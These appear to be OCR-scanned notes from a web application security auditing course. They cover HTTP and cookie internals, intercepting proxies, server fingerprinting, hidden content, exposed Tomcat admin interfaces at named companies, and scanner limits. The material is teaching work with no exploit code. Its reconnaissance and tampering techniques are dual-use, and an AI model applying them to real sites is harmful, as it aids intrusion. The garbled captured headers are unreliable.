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POST Details 

• URL can still contain parameters 
• HTTP headers 
• Browser ID 
• Referrer fOST https ((investing schwab com 443/serncefSignonSerece? KETP(1 1 

Host irreesting.schwab com 
User-Agent ktozillaf5 0 (Windows, U, Windows NT 5.1; en-US, NT 8 0 6) Geckof20060728 Fireforrt 5,0,8 

• Cookies Accept terVonl,appbcationtenl,appiicationAntrniaxmljeaPhImisF0.9te*plein,cF0.8,imagetpnvr,cF0 
Accept-Language: en-us,en,c0 
Accept-Encoding gzip,delate 

cept-Charset ISO-8859-1,utf-8;cF0 7,•,p=0,7 
crep-Alree, 300 
armee -bon -  keep-alive 
eferer, hltps inwrwschwalo c urn/publicist hwati/homeic 

Cookie NP2=0EN_INVESTII1PazApnw0ACw0BegOCAA1200 	9111N011120- ALLNktihN3c1205UOm 
!Content- Type apphcationkwarty -form- upencodep 

Content-length: 120 

S=&ShowUN yes&s 4C=&SU R 	.oru2ccoun)Number=pBgfyggg4C&Sig nonPass  

An interesting side point is that the URL in a POST can still contain additional parameters that will be passed 
to the web application. This is a valuable technique for web application programmers that we'll look at later 
today when we consider maintaining sessions. 

Although we're not going to spend a great deal of time with all the various HTTP headers, it is worthwhile 
taking note of them when you see them. They can frequently give you a lot of valuable information including 
the type and version of browser in use, any plugins installed for handling various media type, and where the 
browser was before it came to the current site. 

Another important header to notice in this example is the Cookie header. Cookies deserve some deeper 
discussion. 
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Rule of Thumb 

• If the application accepts input: 
- It must come through a POST 

• Not sensitive input? 
—What's sensitive? 
—Will someone change this application 

later? 

ring 	Cl)".\pplicat 

Before we go on, let's take this opportunity to spell out a rule of thumb that should be incorporated into your 
web application design practices. If you have an application that is going to accept input, that input must be 
submitted through a POST rather than a GET. 

This is not to say that it is not technically possible to submit using a GET. Clearly it is. Rather, we are saying 
that best practice is that if you are accepting input from a form, require that it be submitted via a POST 
request. 

Some developers may argue that the form in question doesn't actually contain any sensitive data. There are 
some holes in this position. First, they are simply defending a bad practice that they have already followed and 
they don't want to rewrite code. Second, it is no more difficult to handle input coming from a GET or a POST; 
in fact, from the programmer's point of view, it is often handled identically through the web application 
programming API. Lastly, and perhaps most important, although there may not be anything on that form that is 
sensitive today, who is to say how that form will change over time. For this reason, we recommend this as a 
coding requirement. 
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Cookies 

• Cookies are simply text: 
— Server sends a cookie name with an 

arbitrary value 
— Client caches and then returns the cookie 

in every request 
— Parameters can limit potential exposure 
— Possible to send more than one cookie 
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First, let's just get things straight right upfront: Cookies are just text. We know that you've probably heard 
something about malicious code in cookies that tracks you around the Internet and reports back to the various 
spyware companies, but we're hear to tell you that's all media hype. Now, we're not saying that cookies can't 
be used to see where you've been, but it's not because the cookies contain code or anything else malicious. 
We'll show you how that works later today. 

Cookies were designed into the HTTP standard to give web application programmers the ability to store small, 
arbitrary pieces of data on the client host that would then be delivered back to the server at a future time. A 
perfect example of the type of data that you might choose to store in a cookie would be something like a 
language preference. After the user picks it, the server will always "know" what language to present pages in. 

Cookies are sometimes used to store sensitive information. When this is the case, it is especially important that 
we have a look at the various parameters used to control the storage and caching of cookies to make sure that 
they won't be inadvertently exposed to third parties. 
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Cookie Samples 

et-Cookie: CP=nu °main= schwab co ires=Vved, 09-Aug-2006 11.05.5 

1Set-Cookie CI 
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nrcr-AOASTAOZIRA..IND*•Y000018592438701; domain=.sc 

sioninfo=na10440x4gaWSCm8uT3SZHK11n..1H2CicIrnWOWONy4Mn 
kisJSEnablerVI; domair.schwati.corn, patrpt, secure 

nOn=true6Aut/iT ei=1&SgiaWC1 78; 

et-Cookie: AcctInfo=ONE11 

• Cookies created with Set-Cookie 
Header: 	date: 302 Found 

: Wed, 09 Aug 200611;05:55 OMT 
erver:IBM_HTTP Server 
3P: CP="CA CUR ADM DEVTAI PSA POD IVAI JUDI CONi TEU OUR DEL SAMI INC) 

bel- UUtkl 10J4wpniMsfilDQ4KDO80AAIM111111hb1di2OCkptoruCd1Ot_hhttEL. 
1Set-Cookie .  SS2=108813120BoaidtrYSL7lowidlUrPvorMedY03T-1719184ZTX1sib G-I42 

/Set-Cookie: NP2=GEN_INVESTII1PazApnwOACwOBEIgOCAA12006-08-0911INIMI)111; 
1 

121 	 i009hi8ihX1W91•0  • 	C  47kY1X48v 

I N 

- • . 

I •• 	. 
e 
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—Name 	 
—Domain 

Path 	 
—Secure 
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Another interesting tidbit about cookies is that your web application can set as many (be reasonable) cookies 
on a web browser as you care to. Notice in the slide that we have no fewer than 13 cookies being sent in the 
screen shot in the slide. 

Each cookie has a variety of parameters. The name parameter gives the cookie a name, just as the name 
attribute gives a unique name to form elements. The domain attribute defines the host or hosts to which a 
cookie will be sent. The path attribute allows us to refine whom to send the cookie to above and beyond the 
domain attribute. Although a particular host might be in the given domain, it may be that we want the cookie 
to be sent only to the web application that lives in a certain path on the server. The secure attribute defines 
whether SSL is required to send the cookie. Please note that this does not turn on SSL to send the cookie. This 
simply means that if we're not using SSL, the cookie will not be sent. Finally, we have the expires attribute 
that defines how long the cookie should be cached in the cookie jar on the client computer. 
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Cookie Flow 
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How do cookies get onto your computer? Cookies are completely controlled by the server during web 
communication. When a web client goes to a web application, if it has a cookie in the cookie jar with path and 
domain attributes that match the site, it automatically includes the cookie in any request sent to that 
application. 

• It makes sense, then, that if there is no cookie in the cookie jar, nothing will be sent. In the slide, we can see an 
• example of this. We first see the GET request going to the server. In this case, the application on the server 

• 
chooses to create a cookie on the client and does so by including the Set-Cookie header in the HTTP response. 
Notice that from this point on, as illustrated by the subsequent request from the client in the slide, the cookie is 

• automatically included in every request from that point forward. 

• 
• 	When do cookies go away? That all depends on the expiration date and on the user. 

• • 
• 
• 
• 
• 
• 
• 
• 
• 
• 
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Cookie Consequences 

• Secure: 
—Contents of cookie can be sniffed 

• HTTPOnIy: 
— Do not allow access from JavaScript 

• Domain: 
—Specific host or a whole domain? 

• Path 

ed 

There are some consequences to be aware of when handling cookies. First is that unless the cookie is marked 
as secure, it will be sent in every request where the domain and path match, regardless of whether SSL is in 
use. If we have chosen to store someone's username, account number, password, or other sensitive 
information in the cookie, this can be easily compromised by anyone running a sniffer between the user and 
the server. Especially in the wireless age, this is concerning. We've seen several examples of cookies that are 
marked secure but that are sent over HTTP initially, defeating the protection! 

Another item that is quite important is the HTTPOnIy flag. If this flag is set, the cookie will be protected from 
access via JavaScript. This is invaluable in protecting against Cross Site Scripting flaws. As powerful as this 
is, we find a significant number of applications simply don't set this flag, whereas others specifically choose 
not to in order to facilitate cross domain requests. 

The next thing to consider is whether the cookie should be for a specific host or an entire domain. To mark the 
cookie for a specific host, simply put the host in the domain field. To mark it for a domain, include the domain 
with a leading dot. For instance.sans.org  versus www.sans.org . If we say the cookie goes to the whole domain, 
it will go to every web server in that domain where the path matches. 

Finally, the path deserves consideration. It is common to find the path set to "I". This means that the cookie is 
sent in every request to any server that matches the domain. What if our application is being hosted on 
Angelfire, .Mac, Geocities, or another site like these? Then our cookie will be sent to every website anywhere 
in that domain. 
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Cross Domain Requests 

• JavaScript/Flash/Something makes a 
request to another domain: 
— We're authenticated to web.here.com  
— We're pushed to portal.here.com  
— Could leverage Path option: 

• What if we're pushed to portal.there.com ? 
• Cross domain request 
• Cookie values may be packed up by JavaScript 

— United.com , for example! 

In the notes on the last slide, we mentioned the notion of a Cross Domain request. This simply means that a 
page within one "domain" pushes us to a URL within another "domain." When we say "domain," you are 
likely thinking about the last few pieces within a URL. This is largely correct, but from the point of view of 
the cookies, the domain is controlled specifically by the "Domain" setting within the cookie. This means that if 
the domain is specific, that cookie will be delivered only to a single server. This can be extended by simply 
adjusting the domain. 

However, there are a number of applications that literally push you to a different domain. A company may 
push you to an outside vendor, a vendor can push you to another company, and so on. Along the way, there 
may be some backend sharing of data or perhaps authentication. For this to function, we need a way to send 
that information to the next domain. This is often achieved by manipulating the cookies using JavaScript or 
perhaps even Flash. For JavaScript to manipulate the cookie, though, the HTTPOnIy flag cannot be enabled. 

Okay, let's break this down into what really matters. We'd prefer to see HTTPOnIy turned on. We sometimes 
find that it isn't. Most often this is simply a lack of awareness. It is frequently also a result of schizophrenic 
development processes in which we're trying to push session data between different frameworks. 
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Changing Cookies 

• Persistent Cookies: 
— Typical behavior 
— Cookies stored on disk for future use 
— Trivial tampering 

• Non-Persistent Cookies: 
— Not supposed to be stored on disk 
— Developers think that they can't be changed 
— Tampering is more difficult 

• But not hard! 

Auditing Web Based Application s  

Cookies are generally split into two main categories above and beyond whether SSL is required. When 
cookies are set on your computer, they are typically stored on the hard drive in the "Cookie jar" as little bits of 
text. These files are usually named with the user ID of the person running the browser and the name of the 
website where the cookie came from. 

Because these are just text files stored on the local computer, nothing prevents the user from modifying the 
contents of these files with something as simple as Notepad. What if your application relies on the contents of 
the cookie being accurate or at least unchanged? The simple answer is that bad things can happen. Cookies 
that are stored on the local system are called "Persistent cookies." 

To solve this problem, web application programmers came up with another kind of cookie known as "Non-
persistent cookies." The idea behind these is that if they are never stored on the hard disk, then it will be 
difficult to tamper with these cookies, so it's okay to send things in these cookies that the web application 
relies upon. The facts are that this is not true. Our handy tool WebScarab can enable us to tamper with these as 
well. Cookies are marked as non-persistent by using a past expiration date or leaving the expiration out. 
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SSL 

ta li ring \ 	 I ,  

• Tunneling for HTTP! 
—Only encrypted in transit 
— Plaintext at the endpoints 
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Before we jump into the tools and give you some hands on, let's wrap up a few more topics here. First, we 
have Secure Sockets Layer (SSL), which should now be called Transport Layer Security (TLS) is an 
encryption layer that can be used with our web servers and browsers. It is extremely important to understand 
that this encryption layer is essentially like a VPN tunnel. In other words, the data is encrypted only while it is 
in transit. 

The reason that this is important is that web designers sometimes feel that they can patch up application flaws 
by using SSL when in reality all they have done is encrypted the flaws, making them more difficult to detect 
with a network level IPS. The actual data sent through the SSL connection is still just HTTP and HTML, so at 
the endpoints the data is in plain text. 

Another urban legend is that SSL encrypted pages are not saved in the cache of the browser. This is false. 
Although most browsers can be configured to prevent caching of pages transferred using SSL, this is not the 
default. 
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AJAX 

• Asynchronous JavaScript and XML: 
— Google maps is a perfect example 
— Page loads using HTTP 
— JavaScript asynchronously requests more data 
— Page updates without reloading 

• #1 AJAX Security Problem: 
— Bypassing authentication/authorization system 

with "bolt on" AJAX 

\udi  sed \pplic i Ofl 

 

Another important technology to keep your eye on is AJAX. AJAX is still a relatively new technique, though 
it is based on technologies that have been around for quite some time. 

Essentially, AJAX enables you to use JavaScript to asynchronously (or, while you're doing something else) 
request data (possibly sent using XML) from the server and update the page without having the entire page 
refresh. Right now, this is a hot technology and we see it evolving in several forms. Although AJAX is the 
formal name that these are known by, not all the solutions necessarily use JavaScript or XML, but they 
perform the same type of function. 

A great example of this technology in action is Google Maps. When you use the Google Maps site, the page 
quickly loads and displays a small piece of the map. In the background (asynchronously), the page then begins 
to cache neighboring pieces of map. Similarly, if you zoom in, the client side application gives you a rough 
zoom while the background process requests and loads the details, filling them in as they come. 

Although you have likely heard of a large number of vulnerabilities involving AJAX in recent times, there is 
nothing actually inherently insecure about AJAX. Problems arise when a programmer is tasked to or decides 
to add some AJAX to an already existing application and fails to correctly integrate it with the security system. 
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AJAX Flaws: Example 

function get_content( Sootion_id, Scriterio, $session ){ 
global SGlobol; 
5GlobalUSessionID1 	S_GETUsessionl: 

through index.oho, nor are we going to mimic all that 
user's clicks.— 
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This slide is a perfect illustration of the types of things that go wrong when programmers try to "bolt" AJAX 
over an already existing solution. In this case, the programmer apparently attempted to get the security system 
working at some point. We can see references to the security modules and that the code that would have 
validated whether or not a valid user session is attempting to access something has all been commented out. In 
fact, the programmer even refers to the "gatekeeper" (index.php) and has clearly made a conscious choice to 
create an entirely separate module. 

It is difficult to see without looking at the entirety of the source code, but there is also no attempt to verify 
whether the current user is authorized to generate the request in the first place. All these things are what 
introduce vulnerabilities via AJAX into what may otherwise be an extremely secure web application. 
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CSS 

• Cascading Style Sheets: 
—Web standard 
—Allows greater control over layout 
—Apply styles to elements on pages: 

• Consistency 
• Allows users to browse using their own 

styles 
• Not important for us: 

—Typically used post-compromise 
\udffing 	Applications 
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The last of our important web-related technologies is Cascading Style Sheets (CSS). CSS has become the 
preferred or at least the recommended way to create portable web pages, largely supplanting the use of tables 
and frames. 

CSS is billed as a sort of cooperative language that is used with HTML. The purpose of CSS was to decouple 
the layout from HTML so that HTML is just used to mark up the text. Now CSS is used to control the layout 
of that text. All in all this is a great idea, but there are large variations in how various browsers implement 
CSS. Some of them, like Internet Explorer, is known to be particularly bad when it comes to rendering CSS, 
requiring programmers to create CSS hacks to make their pages render properly in broken CSS environments. 

Another cool feature of CSS that is not used by the majority of people is the ability to define a private style 
sheet on the client side and force the browser to use this style sheet for all pages that are loaded. This is 
primarily geared toward accessibility for persons with visual disabilities. 

46 	 © 2016 David Hoelzer & Enclave Forensics TM' 



OWASP 

• Open Web Application Security Project: 
— Development guides 
— Best practice resources 
— Web vulnerability database 
— WebGoat learning tool 
— WebScarab web auditing tool 
— http://www.owasp.org  
— New "Top 10" list in 2013! 

We're just about ready to give you an introduction to the primary tool that we will use today to test web 
applications. Before we do, we want to introduce you to the organization that has made this tool possible. 
Open Web Application Security Project (OWASP) is a group of security and web application professionals 
who banded together some years ago to help remediate some of the myriad of problems in the web application 
development field. 

Among other things, OWASP makes available free development guides, best practice recommendations, 
current information on common web application vulnerabilities, and a handy web application security learning 
tool, WebGoat. Most important for us is the development and release of WebScarab, a fully featured web 
application auditing and assessment tool. 
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WebScarab 

• Essentially a Man in the Middle: 
—View data historically 
— Intercept and modify data 
—Supports SSL (and a lot more!) 

el) Based Applicat (w 

WebScarab is designed to act as a local proxy for your web browser. In a real sense, WebScarab acts as a Man 
in the Middle. As pictured in this slide, your web browser is reconfigured to use WebScarab as a proxy so that 
all requests to the Internet now pass through WebScarab. When a request comes in, WebScarab forwards the 
request out to the actual web server. When the web server answers, the answer is sent to WebScarab, which 
passes the answer back to the client. 

So what's the point? The point is that if WebScarab is sitting in the middle of this conversation, then it is in a 
position to intercept and modify anything that is sent from the client to the server. Of course, we can also 
modify values sent from the server to the client, but for our purposes this has little value. 

What sorts of things might you want to tinker with? How about non-persistent cookies or other HTTP headers 
that you normally do not have access to! This tool will be the anchor for most of the testing that we do today. 
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BURP Suite 

• http://www.portswigger.net  
—Same concept as WebScarab 
—Some features better, some non-

existent 

1P Acts as a proxy 
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Another web application testing tool that we want you to have a look at is BURP Suite. BURP is a commercial 
tool available from PortSwigger.net  for approximately $200 per year. 

WebScarab and BURP are similar tools in that they are both Man-in-the-Middle proxy tools, but BURP does 
some things better than WebScarab. At the same time, WebScarab does some things that BURP doesn't do at 
all! 

For example, WebScarab enables you to create scripted attacks/analysis right inside of the WebScarab 
interface. WebScarab also has a visual representation of the session ID analysis mapping the session IDs over 
time. 

BURP, however, does much more advanced session ID analysis than WebScarab. BURP also offers an 
alternative interface for trying to do application "fuzzing," which we will discuss in more depth later today. 
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The Story So Far 

• Key points to remember: 
— HTTP/HTML are just text 
— GET sends parameters in the URL 
— POST sends parameters in the body: 

• POST can also send parameters in the URL 

— SSL provides encryption, not security 
— Cookies are just pieces of arbitrary text 
— Ultimately, the client controls everything 

that is sent to the server 
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At this point, we've given you a crash course on the internals of HTTP and HTML. Although you are not 
expected to be a web expert, you should have a handle on a few major items. You should be clear on the 
differences between HTTP and HTML; you should have at least a theoretical understanding of the difference 
between GET and POST (though we haven't told you why this is important yet); and how SSL functions at a 
high level and what cookies are. 

Probably the most important thing that we want to make sure that you understand at this point is that 
ultimately, the client controls everything that is sent to the server, so the server (and hence the web 
application) can never trust anything that is sent from the client. 
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• HTML and HTTP 
Basics 

• Using Burp/WebScarab 

The instructor will now allocate some time for you to begin working on the labs for today. As you work 
through the labs, consider the labs as a minimum requirement for what you should do with these tools. We 
strongly encourage you to take the opportunity to experiment with these tools, especially in this controlled lab 
environment in which it is difficult to cause any lasting harm. You can ask the instructor more advanced 
questions than what the labs cover during these lab periods! 
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Road map 

• Stating the Problem 
• Web Basics 
>Server Security 
• Configuration Testing 
• Authentication 
• Session Management 
• Sensitive Information 

Host Security 

Server-Specific Settings 

Hidden Content 

Default Material 

Finding Configuration Errors 
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With our introductory material out of the way, it's time to start talking about our more meaty topics. In this 
section, we examine some server configuration issues and some common problems that exist in the world of 
web security. We take a look at where to find hidden content and we talk about the consequences of leaving 
default content on your web server. 
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Server Security 

• Largely a function of configuration and 
deployment: 
— Deployment discussed on Day 2 
— Configuration of host security next 2 days 
— Web server configuration pointers 
— Compounded by inexperienced developers 

• Primary focus today is application 
security 
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As we begin this section, we want to be clear that we have no intention of talking about all the myriad of 
possible server security options for a web server. We also do not plan to talk about how to deploy a web server 
securely in a network, nor will we talk about securing the underlying operating system of the host. 

Ample security configuration guides for the various web servers are on the market today (and we'll give you 
pointers to a few good ones), so it is not a wise use of our time to focus on these. On the second and third days 
of this course we covered secure network deployment and firewall placement, so we will not rehash those 
topics. Finally, we will talk in great detail about host level security over the next 2 days, so we will, again, not 
duplicate material. We'll also see examples that illustrate how simple misconfiguration issues can be 
compounded by silly developer tricks, creating enormous vulnerability for the organization. 

The primary focus of this entire day is on the web applications. This is where we find that organizations have 
the biggest weaknesses, especially because these applications are often deployed to the public. In this section, 
we look primarily at server configuration issues, but we also pull in some application development issues and 
try to illustrate how simple misconfigurations coupled with poor application practices combine to create big 
problems. 
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The first on our list is directory indexing, which is an example of your web server just trying to be helpful. All 
web servers enable you to configure a default page to be loaded when someone sends a request to the site but 
does not request a specific page. How could this be? Well, consider what you type to go to the Cyber-Defense 
website: http://www.cyber-defense.org/. Although you have clearly requested a web page, what is the name of 
that page? Because you didn't specify a name, the web server automatically looks for whatever it has been 
configured to consider the default page. In this case, it looks for a file named index.html and displays this 
page. 

What would happen if there were no index.html file to load? This is where directory indexing comes in. On 
the Cyber-Defense.org  site we have intentionally left directory indexing turned on, and you can see the effect 
of it when you go to the www.cyber-defense.org/tools/  directory. Because there is no index.html file, the web 
server displays the contents of the directory instead. 

Although this is handy in our case, it can have some unintended consequences for security. We'll see this as 
we continue. 
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Extras: Headers 
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While we're on the topic of exposures, let's talk about headers for a few moments. Earlier we spoke about 
HTTP headers briefly. We focused only on the Cookie header. Notice in the slide though that there is a lot 
more information in the headers than just the cookies. In this case, we are looking at three things. 

In the top picture, we can see the footer on a web page that was loaded on the Internet. Notice that the footer 
tells you precisely the version of the web service that is running. Even without this footer, though, notice the 
other two screen shots. Here we can see an Apache server and an IIS server. Further, we can identify add on 
features like PHP and mod_ssl for the Apache server. 

Again, we are looking at an exposure here. In addition to giving us wonderful targeting information, allowing 
us to simply search for exploits that work on the version of the server running, it also gives us a good feel for 
how well maintained the site is. How so? Well, if the Apache version is 3 years old, do you think that it's 
likely that anyone is watching in terms of security and monitoring? 
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Another cool thing that we can discover through these headers are any Easter eggs or hidden features that 
might exist. For example, in this screen shot we can see the home page for a comic convention. This is the 
page that everyone normally sees. However, if you send it a special request (listed in the slide) you can 
produce a list of PHP designer credits!!! 

This is configurable, but it illustrates an important point. Even if you turn off the headers, you need to find out 
if the technology you are using has any other hidden methods for discovering the version and features that are 
installed. All these are exposures that assist attackers in compromising our sites. 

When you have a few minutes, have a look at this URL: https://geekhack.org/index.php?topic=66471.5;wap2  
The author of the post discusses his dissection and analysis of a web application and backend simply by 
looking at markers in the code and headers. The response from the site maintainer: "You were almost dead 
on!" 
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Here we can see another example of "hidden content." This time, though, the hidden content is authentication 
data that is pushed down to the client! This is also an example of a "Silly developer trick." 

Looking at the web page, you can see that the user is prompted to log in with a username and password. Look 
carefully at the source code visible in the bottom one-half of the screen shot. You can see that the JavaScript is 
checking to see if certain user ID and password combinations have been entered. If they have, the user is 
redirected to the appropriate web page. If the user does not enter one of these combinations, an alert box opens 
saying, "Invalid login!" 

Clearly this is not effective security. Aside from that, it's an example of the developer apparently not realizing 
that any user can simply choose to view the source code of the page, allowing unauthorized users to steal and 
use these credentials. In addition, this isn't actually a server configuration issue, but it certainly is a great 
example of why we can't "hide" stuff in the source code of our pages! 
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Another configuration issue revolves around the robots file. This file has been around for quite some time and 
is intended to enable you to control what parts of your site a well-behaved web crawler (such as Google or 
Yahoo) indexes. More specifically, it enables you to specify sections of your site that should not be indexed by 
search engines. 

There is a side effect to using this file, however. Some organizations list sensitive portions of their site in the 
robots file, essentially telling an attacker where the most important parts of your site are. Now, we're not 
saying that you shouldn't use a robots file. Certainly it has a useful function. What we are saying is that you 
should look carefully at what you are listing in your robots file. It is not uncommon to find pointers to 
nonpublic pieces of the site such as remote web mail, remote desktop connections, and more. 

If you want to restrict which pages are indexed and you want to avoid putting something in the robots file, this 
can be accomplished more cleanly using META tags marking the content as "private." 
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Here's an example from a real corporation, Disney. I'm a big fan of Disney, but this example is perfect for our 
purposes. Here we see a huge corporation with a significant web presence, yet there are still errors in the way 
that the Disney.com  site is built from a security perspective. 

Looking at the directories that have been "excluded" from indexing, what sorts of things do you think you 
might find in these directories? Of all the things that are in the slide, the qa directory is by far the most 
interesting. What does that directory seem to indicate about the environment where development occurs? If I 
were to find this on a production site, it would be a strong indication to me that the production site is also used 
for Quality Assurance. This is certainly a bad idea! 
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The last major issue for this section is that of lazy configuration and maintenance. In the slide, you can shows 
an example of having directory indexing enabled (bad configuration) for the cgi-bin directory. In that 
directory, we can see all the various CGI programs that are installed. Notice that there are no fewer than two 
active CGI programs that seem to serve the same purpose. Do you think that they are both used, or is it more 
likely that a new one was installed and the old one left to gather dust? Perhaps it was left in place as a 
preference to actually replacing references to it in the rest of the code on the site. What harm can this cause? 
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If we try to access the FormMail.cgi program on this server, we get a bad referrer error. Now, we haven't 
actually moved into the methods of testing section, but think about this for a moment. If the site is telling us 
that it won't allow us to use the CGI because our referrer is incorrect, is there a way that we can change our 
referrer? Absolutely! This is a perfect task for WebScarab. 

At this point, we're not going to try to exploit this particular mailer, but we want to point out another aspect of 
this installation that indicates lazy maintenance. 
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You may have noticed that there were FormMail.bak files sitting in the cgi-bin directory. In these files, we 
find backup copies of older versions of the source code for these CGI programs! Notice in the browser screen 
shot on the slide that we can actually read the source code. It is always easier to find vulnerabilities in 
applications when you can read the source code. 

You might be wondering why it is possible to see this code. There are a few answers to this. The first is that 
the web site administrator was too lazy to remove the old code or to move it into a safe place. Another part of 
the answer is that most web servers will run code placed in cgi-bin, but it is also common to find that the files 
in that directory must have a certain file extension to run. This prevents us from inadvertently running code 
that was not put there intentionally. In this case, it also allows us to read the source code for the program. 
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Administration Interfaces (1) 
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Poor configuration is not simply a matter of leaving directories accessible. For example, consider this screen 
shot. Here we are looking at the web e-mail interface provided by a major Internet provider, Optimum. This is 
a company estimated to have several million customers, clearly not a small business. 

Take note of the URL. We can see that we have been directed to webtop.webmail.optimum.net  and that, 
apparently, we will be using the Cerulean e-mail browser. There's nothing wrong with this so far. What 
happens, however, if we modify the URL? 
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Now look at the URL. All that we have done is removed the /ceruleanx from the URL and we are looking at 
the Tomcat page with links to the status page and administration interface! 

In this case, the administration interface is potentially available when we simply manipulate the URL. In other 
cases, we may find that the administration interface is simply listening on a different port, so a scan of the 
system will quickly reveal it. What is the impact of this type of misconfiguration? 
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Administration Interfaces (3) 
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Clicking the manager link pops open an authentication window. All this indicates that the Tomcat management 
interface is installed, enabled, and accessible. All that is necessary is a valid username and password. The 
triviality of brute forcing passwords will be discussed later in the day! 

Just a little bit of research reveals some interesting facts that could be used to generate a finding for this major 
service provider. First, the interface is disabled by default. Someone has actively enabled it. Next, when the 
interface is turned on, the default security container does not lock out accounts based on a specific number of 
attempts. Lastly, the Apache foundation, maintainer of Tomcat, strongly recommends that the management 
interface be locked down to specific IP addresses rather than accessible by anyone. 

Given that the only effort required to access the Tomcat page was changing the URL and that the interface has 
been enabled with no IP restrictions, what do you suspect the likelihood is that the system will lock bad 
attempts out of the system? Very low! 
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Before we get going, there's an important thing to know. Because we've already talked about the possibility of 
changing the headers that our server reports to conceal or lie about what brand of server we are running, this 
should seem obvious, but it's worth stating. Don't believe what the web server you are testing tells you. 

The reason that we mention this is that even though you might know this, just about all the vulnerability 
testing suites rely on what a server tells them to speed up the testing. This means that if our server lies about its 
identity, an automated vulnerability sweep will likely produce false negatives if we have failed to secure 
something specific to the actual server type we are running. This also means that even though the site might 
appear to have the newest most secure version of a particular application, that doesn't mean that an older 
buggier version isn't still sitting there ready to run. Look back at the example from the last section. We 
highlighted that the source code was sitting in a .bak file, but you might have also notice that there was 
FormMail.cgi and a FormMail2.cgi. Which one do you think is newer? 
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How Scanners Work 
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Vulnerability testing tools, though, tend to try to optimize their tests of the server in question. This is 
understandable because the tool will often have the capability of testing for hundreds or even thousands of 
vulnerabilities. Each one of these tests takes time. If the tool is used to target 10 or 20 systems, then this time 
grows exponentially. Imagine yourself running two testing tools side by side. They both come up with the 
same results, but one takes 3 minutes and the other takes 30 minutes. Which tool will you stick with? 

As you can imagine this has had an impact on the market. Vendors are therefore focused not just on results, 
but on speed. However, the faster you go (the more shortcuts you take) the more false negatives you come up 
with. Knowing how these testing tools works helps us to understand how we will want to configure them to 
perform a thorough test. 
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We also take into account that any decent defender will at the least remove the banners from the services and 
some will even lie about the identity of the server. If you want to do this for your own servers or recommend it 
as a part of your security posture, there are tools and techniques available for all of the servers currently in use. 
For IIS, we recommend that you look at the handy IISBanner tool (free!) from www.kodeit.org . If you 
useApache, the most reliable way to replace the banner is to recompile the server; although, some versions do 
allow you to modify the banner through the configuration file. 

With these in mind, then, we also want to pick a testing tool that allow us to override the default fingerprinting 
results and test for everything regardless of the banners. This is also one of the reasons that manual testing is 
still so valuable for web application testing. 
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We may also discover that the information reported by the web server changes depending upon which page or 
other resource we request. Remember our discussion about cross domain requests and schizophrenic 
development? This is similar, but the change in platform may not be signaled by a switch to a new hostname 
or subdomain. Note in this slide that we are visiting the package tracking page for the Bulgarian postal service. 
The site appears to be running on an Apache server on a CentOS system. We can also see from the captured 
HTTP response that it is likely a PHP-based application. 

If we were running an automated scanner, it would quite likely make the same identification that we have just 
made. But is it correct? Consider the next slide. 
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At this point, we have asked it to search for tracking ID #I. You can see that the application is responding with 
a large number of results, but frankly, these results are completely immaterial to our point. Instead, take note 
of the URL and of the HTTP header that returns! 

You may notice that we are now at an ASP page. Even without this change in the URL, the embedded HTTP 
header indicates that we are speaking with a Microsoft IIS 7 server! The great part is that we are still speaking 
to the same host address. But what does this all mean for us? 

It is entirely possible that our scanner will have already determined that this is Apache on CentOS with PHP. 
Apparently, the server is somehow "proxying" some requests back to an IIS server. Will our scanner detect 
that the server technology has changed even though the IP address and host name have not? If the scanner fails 
to note this change, then any report that it provides will be suspect because it may incorrectly fail to scan for 
certain types of issues or provide false positives for technologies that are not actually available over a specific 
URL! 

70 	 © 2016 David Hoelzer & Enclave Forensics TM 



General Purpose Scanners? 

• Nessus and the like are still useful: 
—Good for checking general security 
—Will find basic default material, and so 

on 
— But why use a hammer for a screw? 

• Web scanners generally perform 
far more tests with greater rigor 

10' 'T h em ion ,  

Some wonder if it is actually necessary to get a web-specific vulnerability scanning tool. Wouldn't a general 
purpose vulnerability scanner be good enough? The answer is that the general purpose scanners are still useful, 
especially for testing the configuration of the underlying operating system and network infrastructure, but the 
web-specific tools tend to do a much better job on web applications. 

Web application vulnerability scanners usually have far more web-specific signatures and test web 
applications more rigorously than general purpose scanners. This doesn't mean that you won't find one tool 
that does it all, but we recommend using the right tool for the job at hand. 
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Web Application Scanners 

• You must run something: 
— They are definitely limited! 

• Designed to find known flaws 
• If you wrote it, chances are it can't find flaws.. 
• ...unless they are glaring flaws 

• Recommendation: 
— Use these for broad brush 
— Use these for configuration validation 
— Use these for obvious easy issues 

mg Web 13 s _.1 Application, 

 

If a general purpose scanner such as Tenable or QualysGuard isn't the right tool to run, what is the right tool? 
The answer is that you want something specifically designed for dealing with web applications. However, we 
are going to recommend that you use this tool as a first step, not as a final solution. 

All the automated scanners within this market space are designed to find known vulnerabilities in applications. 
They look for obvious holes like cross-site scripting flaws, SQL injection flaws, and more. The trouble is that, 
unless it is a common flaw, these tools have a hard time figuring out that the data that just got returned from 
your application should not have been returned. This is not to say that these tools are useless, however! They 
are quite valuable, but it is important to be aware of the limitations of your tools! 

Therefore, we strongly recommend that you view these tools primarily as configuration validation tools. 
Anything more than configuration data is wonderful, but we likely need other tools to get those details. 
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Scanners 

• Lots of options: 
—Webinspect (HP) 
—Wikto (SensePost) 
—Acunetix 
—AppScan 
—N-Stalker 

• http://projects.webappsec.org/ 

R 

Over the past 5 years or so, the web application testing market has been hot and, as a result, a large number of 
tools are available. The folks over at WebAppSec.org  (WASC) actually maintain a decent list of current web 
application vulnerability scanners. If you do go there, though, keep in mind that you will find not only web 
application vulnerability testing tools, but also useful tools that are used by web application testers. In other 
words, some of the tools are all-in-one tools and others are simply useful tools that would be used with other 
tools to achieve some objective. 

The tools that we have listed above range in price from free to tens of thousands of dollars depending on the 
size of the deployment that you are analyzing. Some of these tools, such as WebInspect, actually have you 
drive through the web application using the scanner as a proxy, allowing it to observe typical interaction and 
produce findings. Others, such as N-Stalker and Wikto, are not interactive at all. Instead, they arbitrarily scan 
the application looking for known flaws and then generate a report. 
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Automated Caveat 

• Automated scanning is wonderful: 
— Quick and easy 
— Many point-and-click tools 
— Easy to read reports 

• However: 
— Automated tools can find only known vulnerabilities 
— Automated tools can use only known techniques and look for 

known patterns 
— What if you wrote your own web application? 

• There is still no better web application tester than a 
well-trained person with a brain 

g ch Bascd \pPPJication s  

There is a caveat with automated scanning that you ought to be aware of. We likely touched on this yesterday 
when we covered Nessus, but it would be good to make sure you keep this in mind. 

Automated scanning is wonderfully quick, enabling you to easily configure the scanner to target however 
many hosts you need to test, producing a comprehensive report at the end. The problem, though, is that 
automated tools generally find only known vulnerabilities. This is great if you're running someone else's web 
application (such as a content management system or a blog), but what if your organization wrote its own web 
application? 

